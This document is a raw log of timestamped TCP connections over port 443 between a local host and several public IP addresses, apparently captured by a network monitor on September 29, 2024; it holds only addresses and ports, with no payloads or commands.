Sep 29, 2024 00:59:00.401093960 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.401253939 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.401335955 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.401396036 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.401413918 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.401439905 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.401819944 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.401858091 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.401870966 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.401958942 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.401993990 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.402005911 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.402117014 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.402149916 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.402162075 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.402441978 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.402497053 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.402508020 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.402767897 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.402801991 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.402812958 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.403809071 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.403820992 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.406263113 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.407526016 CEST	443	49724	104.17.24.14	192.168.2.6
Sep 29, 2024 00:59:00.407588959 CEST	49724	443	192.168.2.6	104.17.24.14
Sep 29, 2024 00:59:00.407598972 CEST	443	49724	104.17.24.14	192.168.2.6
Sep 29, 2024 00:59:00.407689095 CEST	443	49724	104.17.24.14	192.168.2.6
Sep 29, 2024 00:59:00.407809019 CEST	49724	443	192.168.2.6	104.17.24.14
Sep 29, 2024 00:59:00.407815933 CEST	443	49724	104.17.24.14	192.168.2.6
Sep 29, 2024 00:59:00.407905102 CEST	443	49724	104.17.24.14	192.168.2.6
Sep 29, 2024 00:59:00.407964945 CEST	49724	443	192.168.2.6	104.17.24.14
Sep 29, 2024 00:59:00.440505981 CEST	49722	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.440531015 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.452642918 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.452678919 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.452842951 CEST	49722	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.452862978 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.453152895 CEST	49722	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.456664085 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.456742048 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.456860065 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.456876993 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.482986927 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.483094931 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.483254910 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.483256102 CEST	49722	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.483269930 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.483380079 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.483401060 CEST	49722	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.483408928 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.483593941 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.483613968 CEST	49722	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.483618021 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.483808994 CEST	49722	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.484987020 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.485006094 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.485099077 CEST	49722	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.485105038 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.485174894 CEST	49722	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.485349894 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.485452890 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.485555887 CEST	49722	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.485564947 CEST	49722	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.485982895 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.486077070 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.486119032 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.486138105 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.486284971 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.486323118 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.486335039 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.486469984 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.486558914 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.486669064 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.486707926 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.486721992 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.487256050 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.487871885 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.487894058 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.487947941 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.488023996 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.488023996 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.488070965 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.488095045 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.488123894 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.488166094 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.488828897 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.488877058 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.488940954 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.488954067 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.488985062 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.489003897 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.543409109 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.543457985 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.543530941 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.543530941 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.543540001 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.543796062 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.573379040 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.573425055 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.573544979 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.573544979 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.573559046 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.573817015 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.574796915 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.574841022 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.574882984 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.574894905 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.574935913 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.576237917 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.576284885 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.576304913 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.576334000 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.576354980 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.576395988 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.577403069 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.577440977 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.577441931 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.577486992 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.577506065 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.577557087 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.577557087 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.578547955 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.578610897 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.578656912 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.578668118 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.578713894 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.580154896 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.580207109 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.580209017 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.580234051 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.580250025 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.580270052 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.580760002 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.630129099 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.630194902 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.630235910 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.630244970 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.630271912 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.630384922 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.659884930 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.659928083 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.660054922 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.660054922 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.660068989 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.660386086 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.660964966 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.661010027 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.661053896 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.661065102 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.661106110 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.661206007 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.661318064 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.661365986 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.661400080 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.661411047 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.661505938 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.661540031 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.669794083 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.829801083 CEST	49726	443	192.168.2.6	142.250.184.228
Sep 29, 2024 00:59:00.829845905 CEST	443	49726	142.250.184.228	192.168.2.6
Sep 29, 2024 00:59:00.831967115 CEST	49722	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.832320929 CEST	49726	443	192.168.2.6	142.250.184.228
Sep 29, 2024 00:59:00.832561016 CEST	49726	443	192.168.2.6	142.250.184.228
Sep 29, 2024 00:59:00.832576990 CEST	443	49726	142.250.184.228	192.168.2.6
Sep 29, 2024 00:59:00.833807945 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.835629940 CEST	49724	443	192.168.2.6	104.17.24.14
Sep 29, 2024 00:59:00.835639954 CEST	443	49724	104.17.24.14	192.168.2.6
Sep 29, 2024 00:59:00.852720976 CEST	49727	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:00.852817059 CEST	443	49727	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:00.853015900 CEST	49728	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:00.853105068 CEST	443	49728	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:00.853149891 CEST	49727	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:00.853461027 CEST	49728	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:00.856328011 CEST	49728	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:00.856365919 CEST	443	49728	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:00.857527971 CEST	49727	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:00.857562065 CEST	443	49727	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:00.861792088 CEST	49722	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.861813068 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.877633095 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.877670050 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.963247061 CEST	49730	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:00.963319063 CEST	443	49730	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:00.963531017 CEST	49730	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:00.965166092 CEST	49730	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:00.965167999 CEST	49731	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:00.965182066 CEST	443	49730	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:00.965224028 CEST	443	49731	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:00.965472937 CEST	49731	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:00.966067076 CEST	49731	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:00.966088057 CEST	443	49731	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:00.968238115 CEST	49732	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:00.968327045 CEST	443	49732	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:00.969350100 CEST	49733	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:00.969404936 CEST	443	49733	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:00.969453096 CEST	49732	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:00.969523907 CEST	49733	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:00.970571995 CEST	49732	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:00.970618010 CEST	443	49732	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:00.973799944 CEST	49733	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:00.973818064 CEST	443	49733	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:00.977807045 CEST	49734	443	192.168.2.6	185.199.109.153
Sep 29, 2024 00:59:00.977849960 CEST	443	49734	185.199.109.153	192.168.2.6
Sep 29, 2024 00:59:00.978055000 CEST	49734	443	192.168.2.6	185.199.109.153
Sep 29, 2024 00:59:00.981110096 CEST	49734	443	192.168.2.6	185.199.109.153
Sep 29, 2024 00:59:00.981142998 CEST	443	49734	185.199.109.153	192.168.2.6
Sep 29, 2024 00:59:01.450160980 CEST	443	49734	185.199.109.153	192.168.2.6
Sep 29, 2024 00:59:01.453433990 CEST	49734	443	192.168.2.6	185.199.109.153
Sep 29, 2024 00:59:01.453459024 CEST	443	49734	185.199.109.153	192.168.2.6
Sep 29, 2024 00:59:01.454999924 CEST	443	49734	185.199.109.153	192.168.2.6
Sep 29, 2024 00:59:01.455075026 CEST	49734	443	192.168.2.6	185.199.109.153
Sep 29, 2024 00:59:01.457501888 CEST	49734	443	192.168.2.6	185.199.109.153
Sep 29, 2024 00:59:01.457590103 CEST	443	49734	185.199.109.153	192.168.2.6
Sep 29, 2024 00:59:01.457808018 CEST	49734	443	192.168.2.6	185.199.109.153
Sep 29, 2024 00:59:01.457817078 CEST	443	49734	185.199.109.153	192.168.2.6
Sep 29, 2024 00:59:01.492753029 CEST	443	49727	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:01.498867035 CEST	443	49728	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:01.504914045 CEST	443	49726	142.250.184.228	192.168.2.6
Sep 29, 2024 00:59:01.507774115 CEST	49734	443	192.168.2.6	185.199.109.153
Sep 29, 2024 00:59:01.533444881 CEST	49727	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:01.536278009 CEST	49727	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:01.536299944 CEST	443	49727	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:01.536464930 CEST	49726	443	192.168.2.6	142.250.184.228
Sep 29, 2024 00:59:01.536487103 CEST	443	49726	142.250.184.228	192.168.2.6
Sep 29, 2024 00:59:01.536961079 CEST	49728	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:01.536993980 CEST	443	49728	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:01.537632942 CEST	443	49727	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:01.537705898 CEST	49727	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:01.538176060 CEST	443	49726	142.250.184.228	192.168.2.6
Sep 29, 2024 00:59:01.538233995 CEST	49726	443	192.168.2.6	142.250.184.228
Sep 29, 2024 00:59:01.541012049 CEST	443	49728	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:01.541085958 CEST	49728	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:01.544774055 CEST	49727	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:01.545249939 CEST	443	49727	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:01.546399117 CEST	49726	443	192.168.2.6	142.250.184.228
Sep 29, 2024 00:59:01.546488047 CEST	443	49726	142.250.184.228	192.168.2.6
Sep 29, 2024 00:59:01.547103882 CEST	49728	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:01.547313929 CEST	443	49728	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:01.549318075 CEST	49727	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:01.549345970 CEST	443	49727	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:01.550095081 CEST	49728	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:01.550103903 CEST	443	49728	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:01.566450119 CEST	443	49734	185.199.109.153	192.168.2.6
Sep 29, 2024 00:59:01.566581011 CEST	443	49734	185.199.109.153	192.168.2.6
Sep 29, 2024 00:59:01.566632032 CEST	49734	443	192.168.2.6	185.199.109.153
Sep 29, 2024 00:59:01.578937054 CEST	49734	443	192.168.2.6	185.199.109.153
Sep 29, 2024 00:59:01.578972101 CEST	443	49734	185.199.109.153	192.168.2.6
Sep 29, 2024 00:59:01.594569921 CEST	443	49731	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:01.603982925 CEST	443	49730	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:01.604290009 CEST	49727	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:01.606436014 CEST	49731	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:01.606473923 CEST	443	49731	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:01.606833935 CEST	49730	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:01.606853008 CEST	443	49730	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:01.610183001 CEST	443	49731	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:01.610330105 CEST	49731	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:01.612148046 CEST	443	49730	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:01.612205982 CEST	49730	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:01.613200903 CEST	443	49732	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:01.613574028 CEST	49731	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:01.613631010 CEST	443	49733	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:01.613765955 CEST	443	49731	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:01.614029884 CEST	49730	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:01.614156961 CEST	49732	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:01.614167929 CEST	443	49730	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:01.614193916 CEST	443	49732	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:01.614249945 CEST	49733	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:01.614280939 CEST	443	49733	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:01.614403009 CEST	49731	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:01.614420891 CEST	443	49731	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:01.614443064 CEST	49730	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:01.614451885 CEST	443	49730	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:01.615329027 CEST	443	49733	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:01.615381956 CEST	49733	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:01.615731955 CEST	443	49732	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:01.615791082 CEST	49732	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:01.627377033 CEST	49732	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:01.627613068 CEST	443	49732	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:01.628271103 CEST	49733	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:01.628371954 CEST	443	49733	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:01.630554914 CEST	49732	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:01.630588055 CEST	443	49732	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:01.630906105 CEST	49733	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:01.630920887 CEST	443	49733	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:01.651011944 CEST	49726	443	192.168.2.6	142.250.184.228
Sep 29, 2024 00:59:01.651031971 CEST	443	49726	142.250.184.228	192.168.2.6
Sep 29, 2024 00:59:01.651032925 CEST	49728	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:01.666441917 CEST	49731	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:01.681659937 CEST	49732	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:01.819412947 CEST	443	49730	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:01.819483995 CEST	49730	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:01.839410067 CEST	443	49733	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:01.839471102 CEST	49733	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:01.842072010 CEST	49726	443	192.168.2.6	142.250.184.228
Sep 29, 2024 00:59:02.031985998 CEST	443	49727	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:02.032077074 CEST	443	49727	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:02.032119036 CEST	443	49728	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:02.032166958 CEST	49727	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:02.032305002 CEST	443	49728	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:02.032390118 CEST	49728	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:02.032550097 CEST	443	49730	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:02.032583952 CEST	443	49733	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:02.032632113 CEST	443	49730	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:02.032639980 CEST	443	49733	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:02.032682896 CEST	49730	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:02.032687902 CEST	49733	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:02.032732010 CEST	443	49731	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:02.032768965 CEST	443	49732	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:02.032888889 CEST	443	49732	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:02.032948971 CEST	49732	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:02.032983065 CEST	443	49731	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:02.033046007 CEST	49731	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:02.033467054 CEST	49727	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:02.033507109 CEST	443	49727	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:02.033866882 CEST	49728	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:02.033896923 CEST	443	49728	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:02.035509109 CEST	49730	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:02.035518885 CEST	443	49730	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:02.035676003 CEST	49733	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:02.035691023 CEST	443	49733	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:02.036859989 CEST	49738	443	192.168.2.6	184.28.90.27
Sep 29, 2024 00:59:02.036884069 CEST	443	49738	184.28.90.27	192.168.2.6
Sep 29, 2024 00:59:02.037026882 CEST	49738	443	192.168.2.6	184.28.90.27
Sep 29, 2024 00:59:02.037341118 CEST	49731	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:02.037358999 CEST	443	49731	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:02.037751913 CEST	49732	443	192.168.2.6	35.156.224.161
Sep 29, 2024 00:59:02.037765980 CEST	443	49732	35.156.224.161	192.168.2.6
Sep 29, 2024 00:59:02.039413929 CEST	49738	443	192.168.2.6	184.28.90.27
Sep 29, 2024 00:59:02.039428949 CEST	443	49738	184.28.90.27	192.168.2.6
Sep 29, 2024 00:59:02.297894955 CEST	49739	443	192.168.2.6	104.17.24.14
Sep 29, 2024 00:59:02.297930002 CEST	443	49739	104.17.24.14	192.168.2.6
Sep 29, 2024 00:59:02.297991037 CEST	49739	443	192.168.2.6	104.17.24.14
